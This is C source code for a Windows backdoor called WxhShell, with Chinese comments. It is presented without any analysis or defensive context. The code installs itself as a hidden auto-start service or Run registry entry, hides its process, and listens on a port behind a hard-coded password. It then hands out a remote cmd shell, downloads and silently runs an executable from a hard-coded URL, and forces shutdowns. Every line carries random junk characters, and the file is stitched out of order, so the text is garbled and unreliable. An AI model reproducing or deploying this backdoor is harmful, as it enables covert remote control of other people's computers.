    if(Boot(SHUTDOWN)) *m[[>wE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H ~lvUHN  
    else { G@o\D-$  
    closesocket(wsh); MD[;Ha  
    ExitThread(0); /2:s g1  
    } =v=u+nO  
    break; U,Z7n H3_  
    } p4z thdN[  
  // 获取shell Qv1cf  
  case 's': { ria.MCe\!  
    CmdShell(wsh); WO[O0!X  
    closesocket(wsh); Nt7z ]F`  
    ExitThread(0); @ [%K D  
    break; jh/aK_Q,w  
  } .:B;%*  
  // 退出 x+,:k=JMT  
  case 'x': { 5a2+6N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NwNjB w%v  
    CloseIt(wsh); g\G}b  
    break; xi15B5 _Ps  
    } :d wP  
  // 离开 4z,/0  
  case 'q': { h.5KzC S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MCl-er"]D  
    closesocket(wsh); ? w@)3Z=u  
    WSACleanup(); o8N,mGj}  
    exit(1); x,TnYqT^  
    break; B9S@G{`  
        } 'm.+S8  
  } -b=A j8h  
  } G@scz!Nt  
FM<`\ d'  
  // 提示信息 ?{wD%58^oG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?vmoRX  
} D|IS@gWa  
  } '8;'V%[+  
Pdk#"H-j  
  return; k;jXVa  
} Qn)AS1pL+  
&A~hM[-  
// shell模块句柄 ^CP>|JWD^  
int CmdShell(SOCKET sock) $Ao'mT  
{ *Nur>11D  
STARTUPINFO si; ,n &Lp  
ZeroMemory(&si,sizeof(si)); \W 7pSV-U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t@q==VHF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o&>aYlXd  
PROCESS_INFORMATION ProcessInfo; 06[HE7  
char cmdline[]="cmd"; ^m-w@0^z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !HKW_m^3J  
  return 0; UvuA N:'  
} X u2+TK  
OtoG,~?  
// 自身启动模式 'ji|'x T  
int StartFromService(void) oObQN;A@6  
{ xMFEeSzl>S  
typedef struct sCE%./h]  
{ g1)ZjABV  
  DWORD ExitStatus; k zC4V  
  DWORD PebBaseAddress; ogJ *  
  DWORD AffinityMask; $>rKm  
  DWORD BasePriority; +HlZ ?1g  
  ULONG UniqueProcessId; 9hjzOJPuga  
  ULONG InheritedFromUniqueProcessId; Zm6|aHx8v  
}   PROCESS_BASIC_INFORMATION; 1wBmDEhS  
ym'!f|9AA  
PROCNTQSIP NtQueryInformationProcess; Wjr^: d  
Av!xI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |v_ttJ;+Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &.P G2f*  
HF*j=qt!  
  HANDLE             hProcess; n _kE  
  PROCESS_BASIC_INFORMATION pbi; ' 1X^@]+6  
,>Dpt <  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wu'9ouw!  
  if(NULL == hInst ) return 0; A[uB)wWsn  
Jv?EV,S/e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S{N=9934_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ey{p;;H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g1@rY0O  
-#,4rN#  
  if (!NtQueryInformationProcess) return 0; 1P WTbd l  
ZP ]Ok  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "iUh.c=0F,  
  if(!hProcess) return 0; Ezr q2/~Q  
0rxGb} b*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WAJ KP"  
-FW^fGS+  
  CloseHandle(hProcess); ~ /rKKc  
nK#%Od{GF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .9vt<<Kwh  
if(hProcess==NULL) return 0; MhIHfW]b  
3rX 40>Cs8  
HMODULE hMod; dF*M"|[  
char procName[255]; XXxH<E$p  
unsigned long cbNeeded; O)D$UG\<  
Xh}G=1}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6VLo4bq 5  
#44}Snz  
  CloseHandle(hProcess); [}dPn61  
tTT :r),}$  
if(strstr(procName,"services")) return 1; // 以服务启动 e@iz`~[  
cUn>gT  
  return 0; // 注册表启动 `> +:38  
} Q=Liy@/+!  
o>|DT(Ib  
// 主模块 8+H 0  
int StartWxhshell(LPSTR lpCmdLine) =]1cVnPI  
{ =,8nfJ+x  
  SOCKET wsl; ,P=.x%  
BOOL val=TRUE; rU|?3x  
  int port=0; x<PJ5G L  
  struct sockaddr_in door; q>.C5t'Qx  
I]BhkJ  
  if(wscfg.ws_autoins) Install(); ZO>)GR2S  
[}l#cG6 k  
port=atoi(lpCmdLine); RDEK=^J  
c )=a;_h  
if(port<=0) port=wscfg.ws_port; 4vV\vXT*  
KY?ujeF  
  WSADATA data; fNBI!=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {7%(m|(  
G++<r7;x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t#w,G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g!OcWy)7  
  door.sin_family = AF_INET; `26.+>Z7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M*D@zb0ia  
  door.sin_port = htons(port); 15OzO.Ud  
5 9i2*<k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E6M*o+Y  
closesocket(wsl); <'\!  
return 1; 7spZe"  
} 4*HBCzr7[  
N 6> rU  
  if(listen(wsl,2) == INVALID_SOCKET) { n3j_=(  
closesocket(wsl); 9Ais)Wy%p  
return 1; 2sp4Mm  
} -)xl?IB%  
  Wxhshell(wsl); (p] S  
  WSACleanup(); rV} 5&N*c  
iJ @p:  
return 0; ,C|{_4  
z[K)0@8 6  
} /IF?|71,m  
^m AxV7k  
// 以NT服务方式启动 Q$sC%P(y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q(A_k+NL  
{ }$g"|;<ha  
DWORD   status = 0; l dp$jrNLr  
  DWORD   specificError = 0xfffffff; AGKT*l.-  
g:@4/+TSt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F>GPi!O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [f}`reRlZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5.D0 1?k  
  serviceStatus.dwWin32ExitCode     = 0; Pq@ -`sw  
  serviceStatus.dwServiceSpecificExitCode = 0; sL ;;'S&  
  serviceStatus.dwCheckPoint       = 0; <[u(il  
  serviceStatus.dwWaitHint       = 0; GVfRy@7n  
ddd2w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1(RRjT 9  
  if (hServiceStatusHandle==0) return; I:6XM?  
eu":\ks  
status = GetLastError(); -*O L+  
  if (status!=NO_ERROR) 1hzf+*g  
{ U@D\+T0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Spin]V  
    serviceStatus.dwCheckPoint       = 0; C ](djkA$  
    serviceStatus.dwWaitHint       = 0; pG'?>]Rt4  
    serviceStatus.dwWin32ExitCode     = status; 2EYWX! Bx  
    serviceStatus.dwServiceSpecificExitCode = specificError; JSmg6l?[u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ql9>i;AGV  
    return; 1_l)$"  
  } pF9WKpzE  
u:tcL-;U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ei"c|/pO  
  serviceStatus.dwCheckPoint       = 0; [j0jAl  
  serviceStatus.dwWaitHint       = 0; J8ScKMUN2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @(+\*]?^&  
} \DWKG~r-%  
)>"pm {g2  
// 处理NT服务事件,比如:启动、停止 _~*j=XRs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v#`>  
{ TK%q}bK,  
switch(fdwControl) Y88N*axDW.  
{ g"kET]KP"  
case SERVICE_CONTROL_STOP: S9ic4rcd  
  serviceStatus.dwWin32ExitCode = 0; rBi6AM/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K\zb+  
  serviceStatus.dwCheckPoint   = 0; } E[vW  
  serviceStatus.dwWaitHint     = 0;  dvz6  
  { 3\{\ al   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?P4y$P  
  } V?mk*CU  
  return; 4mtO"'|  
case SERVICE_CONTROL_PAUSE: ?$uEN_1O\@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rixVIfVF  
  break; *YGj^+   
case SERVICE_CONTROL_CONTINUE: Y3s8@0b3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mAET`B "  
  break; mN.  
case SERVICE_CONTROL_INTERROGATE: S)W?W}*R\  
  break; ecO$L<9>  
}; O(v>\MV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 94|ZY}8|f  
} W]_a_5  
H K J^6|'  
// 标准应用程序主函数 l*huKSX}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eVB43]g  
{ [>\e@ =  
adRIg:2  
// 获取操作系统版本 c5:0`~5Fn  
OsIsNt=GetOsVer(); 5rc3jIXc{|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o iC@ /  
!&3"($-U3G  
  // 从命令行安装 R lbJ4`a  
  if(strpbrk(lpCmdLine,"iI")) Install(); D>ou,  
B&y?Dc  
  // 下载执行文件 r!w*y3  
if(wscfg.ws_downexe) { % tC[q   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xw jm T  
  WinExec(wscfg.ws_filenam,SW_HIDE); V~Z)^.6  
} XD|Xd|/ {  
uEG4^  
if(!OsIsNt) { 5e1oxSU  
// 如果时win9x,隐藏进程并且设置为注册表启动 Gpcordt/  
HideProc(); PR x-0S  
StartWxhshell(lpCmdLine); &; p}HL,  
} g1_z=(i`Z  
else ?^MH:o  
  if(StartFromService()) ]YfG`0eK<  
  // 以服务方式启动 !!8;ZcL}Z  
  StartServiceCtrlDispatcher(DispatchTable); ZX.,<vumSy  
else g& f)WQ(  
  // 普通方式启动 -3wid1SOm  
  StartWxhshell(lpCmdLine); g_k95k3V'  
b'` XFB#V  
return 0; B1s&2{L6K  
} {7MY*&P$,  
^eefR5^_w  
G#@#j]8  
o4@d,uIw^  
=========================================== iT s" RW  
:#_k`{WG  
#7]>ozKm  
r'_#rl  
z4` :n.  
u$aN~6HG  
" SG&H^V8  
f)gV2f0t  
#include <stdio.h> k6GQH@y!  
#include <string.h> xDSiTp=)O  
#include <windows.h> qW|h"9sr  
#include <winsock2.h> ~X %cbFom=  
#include <winsvc.h> 2']0c  z  
#include <urlmon.h> qu]a+cYY  
"*V'   
#pragma comment (lib, "Ws2_32.lib") =CS$c?  
#pragma comment (lib, "urlmon.lib") *f{4 _ts  
,KF>@3f  
#define MAX_USER   100 // 最大客户端连接数 6 OvH"/X4  
#define BUF_SOCK   200 // sock buffer zlTLp-^Y  
#define KEY_BUFF   255 // 输入 buffer SB5qm?pT8<  
b"`fS`@/MW  
#define REBOOT     0   // 重启 H@ty'z?  
#define SHUTDOWN   1   // 关机 M?hPlo"_  
K`ygW|?gt  
#define DEF_PORT   5000 // 监听端口 LWSy"Cs*  
3m2y<l<  
#define REG_LEN     16   // 注册表键长度 g2*}XS 3  
#define SVC_LEN     80   // NT服务名长度 $P#+Y,r~\  
2chT^3e  
// 从dll定义API 30(e6T;   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +W8#]u|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :D>flZi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [nX{ sM%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -;RAW1]}Y$  
V:+vB "  
// wxhshell配置信息 d{(Rs.GuP  
struct WSCFG { ;- Vs|X  
  int ws_port;         // 监听端口 cIkA ~F  
  char ws_passstr[REG_LEN]; // 口令 UYQ@ub  
  int ws_autoins;       // 安装标记, 1=yes 0=no /k^j'MMQs6  
  char ws_regname[REG_LEN]; // 注册表键名 6z/&j} (  
  char ws_svcname[REG_LEN]; // 服务名 i=M[$   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mz;ExV16  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~ 7Nqwwx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p;R&h4H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {l_D+B;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;eO Ye3;c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gh"_,ZhZt  
{_z6  
}; <Nc9F['&#  
`ZP[-:`  
// default Wxhshell configuration t*6C?zEAU  
struct WSCFG wscfg={DEF_PORT, f^5sJ 0;%  
    "xuhuanlingzhe", Y2 N$&]O{  
    1, 9c1q:>|  
    "Wxhshell", #-R]HLW*  
    "Wxhshell", N "eK9>  
            "WxhShell Service", vt5>>rl  
    "Wrsky Windows CmdShell Service", NA/Sv"7om  
    "Please Input Your Password: ", 3=UufI  
  1, iU~d2R+  
  "http://www.wrsky.com/wxhshell.exe", <8Z%'C6d  
  "Wxhshell.exe" R_Bf JD.  
    }; =FFs8&PKys  
o$*DFvk  
// 消息定义模块 CPP9=CoR37  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a<+Rw{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,p\*cHB9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  wJvk  
char *msg_ws_ext="\n\rExit."; G`;mSq6i  
char *msg_ws_end="\n\rQuit."; F%{z E ANm  
char *msg_ws_boot="\n\rReboot..."; U^-J_ yq  
char *msg_ws_poff="\n\rShutdown..."; wjOqCF"  
char *msg_ws_down="\n\rSave to "; ;[Eso p  
qzo)\,  
char *msg_ws_err="\n\rErr!"; `<Hc,D; p  
char *msg_ws_ok="\n\rOK!"; JKCV >k  
Vt9o8naz  
char ExeFile[MAX_PATH]; mcQ\"9;pY  
int nUser = 0; 6jl{^dI  
HANDLE handles[MAX_USER]; pMp@W`i^6  
int OsIsNt; Tm~jYgJ  
*t={9h  
SERVICE_STATUS       serviceStatus; {z'Gg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YsO`1D  
Rob: W|  
// 函数声明 aIWpgUd`  
int Install(void); (ijO|%?  
int Uninstall(void); MU N:}S  
int DownloadFile(char *sURL, SOCKET wsh); =3,Sjme  
int Boot(int flag); nXxnyom,  
void HideProc(void); )%!X,  
int GetOsVer(void); yG>sBc  
int Wxhshell(SOCKET wsl); $ WWi2cI;  
void TalkWithClient(void *cs); J=n^&y  
int CmdShell(SOCKET sock); sn@)L~$V  
int StartFromService(void); g|!=@9[dv  
int StartWxhshell(LPSTR lpCmdLine); icK U)  
?C6`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \OK}DhY#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PKs$Q=Ol<|  
6b!1j,\Vx  
// 数据结构和表定义 |txzIc.#  
SERVICE_TABLE_ENTRY DispatchTable[] = '_g*I  
{ ];0:aSi#  
{wscfg.ws_svcname, NTServiceMain}, EkN>5).  
{NULL, NULL} gJzS,g1]  
}; i\MW'b  
m :]F &s  
// 自我安装 QkO4Td<  
int Install(void) #P1 ;*m  
{ YeF'r.Y  
  char svExeFile[MAX_PATH]; .+^o{b  
  HKEY key; 23q2u6.F`  
  strcpy(svExeFile,ExeFile); `7',RUj|D  
_'s5FlZq  
// 如果是win9x系统,修改注册表设为自启动 \z2d=E  
if(!OsIsNt) { dBW#PRg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <5sfII  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); } x'o`GuUf  
  RegCloseKey(key);  +!wkTrV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  uQW d1>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `"bp -/  
  RegCloseKey(key); z &[[4[  
  return 0; #8bI4J{dE  
    } GuJIN"P]  
  } .q$/#hN:e  
} ]6HnK%  
else { Q $>SYvW  
,k/<Nv;  
// 如果是NT以上系统,安装为系统服务 K%vGfQ8Er-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UAdj [m61  
if (schSCManager!=0) /B  
{ jbTyM"Y  
  SC_HANDLE schService = CreateService j!`2Z@  
  ( zU};|Zw  
  schSCManager, V0:db  
  wscfg.ws_svcname, VU|Cct&)  
  wscfg.ws_svcdisp, v8A{ q  
  SERVICE_ALL_ACCESS, %M05& <  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2{#=Ygb0  
  SERVICE_AUTO_START, 8L(KdDY  
  SERVICE_ERROR_NORMAL, S'v UxOAo  
  svExeFile, H Sk}09GV  
  NULL, .ZH5^Sv$vp  
  NULL, :.\h.H;  
  NULL, XpOQBXbt  
  NULL, HM\gOz  
  NULL %w6lNl  
  ); e9?y0vT//  
  if (schService!=0) rHgrC MW  
  { 9'JkLgz;d+  
  CloseServiceHandle(schService); DzCb'#   
  CloseServiceHandle(schSCManager); ymyk.#Z<%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !^A t{[U  
  strcat(svExeFile,wscfg.ws_svcname); V{kgDpB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cK+)MFOu+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CB?H`R pC.  
  RegCloseKey(key); (fWQ?6[  
  return 0; y]f| U-f:~  
    } ZbcpE~<a  
  } cY*lsBo  
  CloseServiceHandle(schSCManager); ^kpu9H  
} Z7R+'OC  
} 4'# _b  
OKzk\F6  
return 1; =t-503e.J  
} J)Td'iT(  
)F35WP~  
// 自我卸载 BLhuYuON  
int Uninstall(void) eM`"$xc Oe  
{ aA.TlG@zP  
  HKEY key; y<5xlN(+v  
uM~j  
if(!OsIsNt) { .](s\6'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M3 $MgsN:  
  RegDeleteValue(key,wscfg.ws_regname); LHP?!rO0  
  RegCloseKey(key); $rE_rZ+]="  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1YMu\(  
  RegDeleteValue(key,wscfg.ws_regname); x; *KRO  
  RegCloseKey(key); Ss7XjWP.}  
  return 0; *,DBRJ_*7  
  } !b+Kasss9  
} D<cHa |  
} V]9 ?9-r  
else { b}r3x&)  
~UJ_Rr54  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KcjP39@I  
if (schSCManager!=0) lq!l{[Xp  
{ yS-owtVCGF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `_v|O{DC{  
  if (schService!=0) ^UK6q2[  
  { VN8ao0^d;d  
  if(DeleteService(schService)!=0) { sxLq'3(  
  CloseServiceHandle(schService); !P0Oq)q  
  CloseServiceHandle(schSCManager); ?wx|n_3<:  
  return 0; 1cdM^k  
  } bdCpGG9  
  CloseServiceHandle(schService); etH%E aF[  
  } dGzZ_Vf  
  CloseServiceHandle(schSCManager); Oj0/[(D-  
} 4<&`\<jZ  
} qcfLA~y  
_ #+~#U%5n  
return 1; Kq';[Yc  
} s0"1W"7vh  
<[7.+{qfW  
// 从指定url下载文件 f"5vpU^5*  
int DownloadFile(char *sURL, SOCKET wsh) cv["Ps#;`W  
{ aNCIh@m~  
  HRESULT hr; Ol24A^  
char seps[]= "/"; lH^[b[  
char *token; R@r"a&{/  
char *file; r#pC0Yj!3  
char myURL[MAX_PATH]; 8+ 1t ys  
char myFILE[MAX_PATH]; 7>J8\=  
#\$R^u]!  
strcpy(myURL,sURL); 5 !G}*u.  
  token=strtok(myURL,seps); u1&pJLK0[  
  while(token!=NULL) Ij}RlYQz  
  { ~$i36"  
    file=token; ]W%<<S  
  token=strtok(NULL,seps); `:A`%Fg8<  
  } 9Qb_BNUo  
6nRD:CH)X  
GetCurrentDirectory(MAX_PATH,myFILE); i1 ?H*:]  
strcat(myFILE, "\\"); MI@id  
strcat(myFILE, file); yA!#>u%g  
  send(wsh,myFILE,strlen(myFILE),0); |,Y(YSg.  
send(wsh,"...",3,0); A@ EeX4N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a<M<) {$u  
  if(hr==S_OK) P/?`  
return 0; "el}@  
else TCFx+*fBd  
return 1; 8hi|F\$_h  
oxb#{o9G  
} W9T,1h5x  
y!Q&;xO+!  
// 系统电源模块 kQ~*iY  
int Boot(int flag) $aX}i4F  
{ BXVmt!S5F  
  HANDLE hToken; D`LcL|nmH  
  TOKEN_PRIVILEGES tkp; ,.uPlnB_  
CC>]Gc7  
  if(OsIsNt) { wg*2mo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); },'2j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hof:+aW  
    tkp.PrivilegeCount = 1; ajW[}/)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _.OajE\T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k9.2*+vvg  
if(flag==REBOOT) { |jniI(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Uax- z  
  return 0; }Z- ]m  
} hd.^ZD7  
else { v3Y/D1jd"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *.AokY)_a  
  return 0; 4QZ -7_  
} k#% BxT  
  } mh!;W=|/"  
  else { <IGQBu#ZH  
if(flag==REBOOT) { 7%9Sz5z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B]q &?~  
  return 0; ~&=-*  
} }N1Z7G  
else { jx&pRjP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #z)@T  
  return 0; i3*S`/]p  
} " ;cWK29\f  
} nW3`Z1kq})  
*BT-@V.4  
return 1; =usx' #rb  
} r"SuE:D  
yK<%AV@v  
// win9x进程隐藏模块 utC]GiR  
void HideProc(void) ;-47d ^  
{ 69 R8#M  
:Q=Jn?Gjb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4,T!zT6&  
  if ( hKernel != NULL ) E@aR5S>  
  { %zyO}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _* ]~MQ=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n3-u.Fb  
    FreeLibrary(hKernel); PBb@J'b  
  } 1K&z64Q5J  
V4}9f5FR  
return; RX%*:lXi_  
} !MNUp(:  
Iu^# +n  
// 获取操作系统版本 k`6T% [D]  
int GetOsVer(void) Zg%U4m:  
{ l~wx8 ,?G  
  OSVERSIONINFO winfo; P}y}IR{6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^_r8R__S:  
  GetVersionEx(&winfo); eXWiTi@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _) 2fXG!  
  return 1; l=[<gPE  
  else `9Zoq=/  
  return 0; .0S.7w3dZo  
} b40zYH`'{  
Uwr inkoeE  
// 客户端句柄模块 I|,^a|\  
int Wxhshell(SOCKET wsl) 2GA6@-u\  
{ V=BF"S;-'  
  SOCKET wsh; ~S15tZ $  
  struct sockaddr_in client; .HF+JHIUu  
  DWORD myID; "d>{hP  
r}MXXn,f  
  while(nUser<MAX_USER) ` ZXX[&C  
{ (Kd;l &8  
  int nSize=sizeof(client); &F*s.gL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B@` 87  
  if(wsh==INVALID_SOCKET) return 1; R4u=.  
0#KDvCBJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J5}-5sV^  
if(handles[nUser]==0) pj G6v(zK  
  closesocket(wsh); {BKu'A  
else 33DP0OBL^  
  nUser++; 2j` x^  
  } DTk)Y-eQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \T'uFy9&a  
11}X2j~Ww  
  return 0; W~k"`g7uu  
} Pfu2=2Ra  
}x`W+r  
// 关闭 socket K?,eIZ{.S  
void CloseIt(SOCKET wsh) g8 ,V( ^  
{ RyKsM.   
closesocket(wsh); V03U"eI="  
nUser--; ttuQ ,SD  
ExitThread(0); *g]q~\b/;  
} z;@;jQ7  
iXK.QktHw  
// 客户端请求句柄 ilEWxr;,  
void TalkWithClient(void *cs) 3:7J@>  
{ -z./6dQ  
:TqvL'9o  
  SOCKET wsh=(SOCKET)cs; j{SRE1tqh  
  char pwd[SVC_LEN]; {$)zC*l  
  char cmd[KEY_BUFF]; r5> FU>7'  
char chr[1]; oE[wOq +  
int i,j; j<>E Fd  
#ok1qT9_  
  while (nUser < MAX_USER) { F]\(p=U.  
jt?4raNW  
if(wscfg.ws_passstr) { Z;=G5O uvQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lz's!b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )4>M<BO  
  //ZeroMemory(pwd,KEY_BUFF); W'u6F-$2  
      i=0; P% _cIR  
  while(i<SVC_LEN) { I?LJXo\O  
Ikql  
  // 设置超时 P?  VGY  
  fd_set FdRead; B *p`e1  
  struct timeval TimeOut; \:9dt8(-U  
  FD_ZERO(&FdRead); 0m7ANqE[Z  
  FD_SET(wsh,&FdRead); wv>*g:El'  
  TimeOut.tv_sec=8; zD:"O4ZM^^  
  TimeOut.tv_usec=0; O-y/K2MC*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qZACX.Hw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =<R")D]4z  
R)MWO5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'd4I/  
  pwd=chr[0]; S.1\e"MfI  
  if(chr[0]==0xd || chr[0]==0xa) { 5A oKlJrY  
  pwd=0; [74HUw>  
  break; c""*Ng*T  
  } N7:=%Fy(  
  i++; =/Pmi_  
    } v=e`e68U~  
`&2~\o/  
  // 如果是非法用户,关闭 socket bD*V$w*P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {I0b%>r=  
} +?Vj}p;  
q&OF?z7H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u+%Ca,6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /~[+'  
$mOVo'2  
while(1) { /|V!2dQs"  
(|+Sbq(o  
  ZeroMemory(cmd,KEY_BUFF); huFT_z_;;  
@TF^6)4f  
      // 自动支持客户端 telnet标准   Uyf<:8U\  
  j=0; L[o;@+32  
  while(j<KEY_BUFF) { / RU'~(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qpzzk9ba[  
  cmd[j]=chr[0]; GSo&$T;B6  
  if(chr[0]==0xa || chr[0]==0xd) { l]t9*a]a  
  cmd[j]=0; jN 9|q  
  break; 1.*VliY  
  } &<hDl<E  
  j++; ,(&jG^IpVJ  
    }  uyBmGS2  
VWDXEa9  
  // 下载文件 ^Z1t'-xZ  
  if(strstr(cmd,"http://")) { j06?Mm_c2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e59P6/z  
  if(DownloadFile(cmd,wsh)) "zFv? ay  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vU,AOK[l{  
  else gq9IJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vM )2F  
  } xuBXOr4"P  
  else { V6l~Aj}/  
:'1UX <&B  
    switch(cmd[0]) { lO=+V 6  
  XfY~q~f8  
